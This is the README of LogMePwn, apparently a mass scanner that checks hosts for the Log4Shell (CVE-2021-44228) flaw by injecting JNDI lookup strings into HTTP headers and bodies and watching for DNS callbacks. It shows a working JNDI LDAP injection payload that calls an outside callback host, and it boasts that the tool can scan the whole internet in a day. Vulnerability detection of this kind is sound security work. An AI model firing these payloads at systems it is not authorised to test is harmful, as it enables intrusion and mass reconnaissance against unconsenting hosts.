LogMePwn

A fully automated, reliable, super-fast, mass scanning and validation toolkit for the Log4J RCE CVE-2021-44228 vulnerability. With enough amount of hardware and threads, it is capable of scanning the entire internet within a day.

How it works?

LogMePwn works by making use of Canary Tokens, which in-turn provides email and webhook notifications to your preferred communication channel. If you have a custom callback server, you can definitely use it too!

Installation & Usage

To use the tool, you can grab a binary from the Releases section as per your distribution and use it. If you want to build the tool, you'll need Go >= 1.13. Simple clone the repo and run go build.

Here's the basic usage of the tool:

$ ./lmp --help

    +---------------------+
    |   L o g M e P w n   |
    +---------------------+  v1.1

                ~ 0xInfection
Usage:
  -custom-server string
        Specify a custom callback server.
  -delay int
        Delay between subsequent requests for the same host to avoid overwhelming the host.
  -email string
        Email to use for the receiving callback notifications.
  -fbody string
        Specify a format string to use as the body of the HTTP request.
  -file string
        Specify a file containing list of hosts to scan.
  -headers string
        Comma separated list of HTTP headers to use; if empty a default set of headers are used.
  -headers-file string
        Specify a file containing custom set of headers to use in HTTP requests.
  -json
        Use body of type JSON in HTTP requests that can contain a body.
  -methods string
        Comma separated list of HTTP methods to use while scanning. (default "GET")
  -payload string
        Specify a single payload or a file containing list of payloads to use.
  -ports string
        Comma separated list of ports to scan per target. (default "80,443,8080")
  -threads int
        Number of threads to use while scanning. (default 10)
  -token string
        Canary token payload to use in requests; if empty, a new token will be generated.
  -user-agent string
        Custom user-agent string to use; if empty, payloads will be used.
  -webhook string
        Webhook to use for receiving callback notifications.
  -xml
        Use body of type XML in HTTP requests that can contain a body.

Examples:
  ./lmp -email alerts@testing.site 1.2.3.4 1.1.1.1:8080
  ./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
  ./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
  ./lmp -email alerts@testing.site -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880

Specifying targets

The targets can be specified in two ways, via the command line interface as arguments, or via a file.

NEW: Now you can even pass CIDR ranges to scan! This feature was introduced in v1.1.

Example:

./lmp <other args here> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <other args here> -file internet-ranges.lst
./lmp <other args here> 192.168.0.0/26 1.2.3.4/30

The hosts can may contain ports, if not, the set of ports mentioned in -ports will be considered for scanning. The default ports list are:

80
443
8080

Specifying payloads

This feature was introduced in v1.1.

You can specify a payload directly via the -payload argument directly. However if you want the DNS name of the host which is being tested in the payload, you can specify a formatting directive $DNSNAME$ which will be replaced with the target against which the payload is being tested.

e.g. if you supply a command like this:

./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com

Then when sending a HTTP request to the URL, the payload would look like:

${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}

This feature would help you evaluate which hosts are vulnerable when doing black-box fuzzing.

You can also specify a payload containing multiple variations of the payload using the same argument. (See payloads-sample.txt). Example:

./lmp -payload payloads-sample.txt vulnerable.site.com

NOTE: This feature doesn't work with Canary Tokens. Canarytokens doesn't support custom DNS formats.

Specifying notification channels

NOTE: If you're supplying a custom payload using -payload, specifying a notification channel is NOT necessary. The payload itself should contain your callback server.

The notification channels can be any of the following:

Email (-email)
Webhook (-webhook)
Custom DNS callback server (-custom-server)

The tool makes use of Canary Tokens, you can create one from here, or let the tool create a token for you. If the tool creates a token, that will be written to a file named canarytoken-logmepwn.json, which will include the token itself and the auth (both of which you'll need to view triggers via the web interface).

If you already have a token, you can use the -token argument to use the token directly and not create a new one.

NOTE: If you supply either an email or a webhook, the tool will create a custom canary token. If you use a custom callback server, tokens do not come into play.

Sending requests

The tool offers great flexibility when sending requests. By default the tool uses GET requests. A default set of headers are used, each of which contains a payload in its value. You can specify a custom set of headers via the -headers argument. You can use the -headers-file switch to supply a file containing a list of headers. Examples:

./lmp <other args> -headers 'X-Api-Version' 1.2.3.4:8080
./lmp <other args> -headers-file headers.txt 1.2.3.4:8080

You can specify the list of HTTP methods to use for scanning via the -methods switch. For requests that contain a body, e.g. POST, PUT, etc, you can customize content of the bodies.

By default the tool sends a payload directly via the body. The tool offers customization fo the body in the following ways:

Specify -json to have the request body as type JSON.
-xml for XML format.
-fbody to specify a custom format string where the payload will be injected. This allows complex request creation when testing. For example, if you want to send the content as HTML, it can look like this:
```
./lmp -fbody '<html>%s</html>' -methods 'POST,PUT' 1.2.3.4
```

You can specify a custom user-agent header value via the -user-agent switch.

Concurrent scanning

The tool is optimized for scanning a wide range of targets. With sufficient amount of network bandwidth and hardware, you can scan the entire IPv4 space within a day. The default number of concurrent threads to use while scanning is set at just 10 (optimised for reliability on local hardware). The value can go upto thousands (I'll leave the benchmarking task upto you). :)

Use the -threads switch to supply the number of threads to use with the tool.

Specifying delay

Since a lot of HTTP requests are involved, it might be a cumbersome job for the remote host to handle the requests. The -delay parameter is here to help you with those cases. You can specify a delay value in seconds -- which will be used be used in between two subsequent requests to the same port on a server.

Demo

To demo the scanner, I make use of a vulnerable setup from @christophetd using docker:

docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Then I run the tool against the setup:

./lmp -email alerts@testing.site 127.0.0.1:8080

Which immediately triggered a few DNS lookups visible on the token history page as well as my email:

New Updates

Updates in version v1.1:
- Ability to specify custom payloads via file or command line.
- Ability to specify custom headers via file.
- CIDR range scanning.

Ideas & future roadmap

Please add your comment to this issue.

License & Version

The tool is licensed under the GNU GPLv3. LogMePwn is currently at v1.1.

Credits

Shoutout to the team at Thinkst Canary for their amazing Canary Tokens project.

Crafted with ♡ by Pinaki (@0xInfection).

dinarpay/LogMePwn